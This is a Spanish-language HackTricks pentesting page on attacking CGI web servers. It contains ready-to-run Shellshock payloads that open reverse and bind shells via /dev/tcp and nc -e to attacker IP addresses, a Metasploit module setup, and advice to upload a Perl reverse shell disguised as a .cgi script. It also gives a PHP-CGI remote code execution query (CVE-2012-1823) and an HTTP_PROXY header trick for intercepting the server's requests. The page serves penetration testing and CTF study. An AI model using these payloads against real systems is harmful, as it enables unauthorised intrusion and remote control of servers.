CGI

Support HackTricks

Información

Los scripts CGI son scripts de perl, así que, si has comprometido un servidor que puede ejecutar .cgi scripts, puedes subir un shell reverso de perl (/usr/share/webshells/perl/perl-reverse-shell.pl), cambiar la extensión de .pl a .cgi, dar permisos de ejecución (chmod +x) y acceder al shell reverso desde el navegador web para ejecutarlo. Para probar vulnerabilidades CGI se recomienda usar nikto -C all (y todos los plugins)

ShellShock

ShellShock es una vulnerabilidad que afecta al ampliamente utilizado Bash en sistemas operativos basados en Unix. Se dirige a la capacidad de Bash para ejecutar comandos pasados por aplicaciones. La vulnerabilidad radica en la manipulación de variables de entorno, que son valores nombrados dinámicamente que impactan cómo se ejecutan los procesos en una computadora. Los atacantes pueden explotar esto adjuntando código malicioso a las variables de entorno, que se ejecuta al recibir la variable. Esto permite a los atacantes comprometer potencialmente el sistema.

Explotando esta vulnerabilidad, la página podría lanzar un error.

Podrías encontrar esta vulnerabilidad notando que está usando una versión antigua de Apache y cgi_mod (con carpeta cgi) o usando nikto.

Prueba

La mayoría de las pruebas se basan en hacer eco de algo y esperar que esa cadena sea devuelta en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflejado, ciego y fuera de banda)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Explotar

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM a solicitudes del servidor web)

CGI crea una variable de entorno para cada encabezado en la solicitud http. Por ejemplo: "host:web.com" se crea como "HTTP_HOST"="web.com"

Como la variable HTTP_PROXY podría ser utilizada por el servidor web. Intenta enviar un encabezado que contenga: "Proxy: <IP_atacante>:<PUERTO>" y si el servidor realiza alguna solicitud durante la sesión. Podrás capturar cada solicitud realizada por el servidor.

PHP antiguo + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Básicamente, si cgi está activo y php es "antiguo" (<5.3.12 / < 5.4.2) puedes ejecutar código. Para explotar esta vulnerabilidad necesitas acceder a algún archivo PHP del servidor web sin enviar parámetros (especialmente sin enviar el carácter "="). Luego, para probar esta vulnerabilidad, podrías acceder por ejemplo a /index.php?-s (nota el -s) y el código fuente de la aplicación aparecerá en la respuesta.

Luego, para obtener RCE puedes enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input y el código PHP que se ejecutará en el cuerpo de la solicitud. Ejemplo:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Más información sobre la vulnerabilidad y posibles exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Ejemplo de Writeup de CTF.

Apoya a HackTricks

Last updated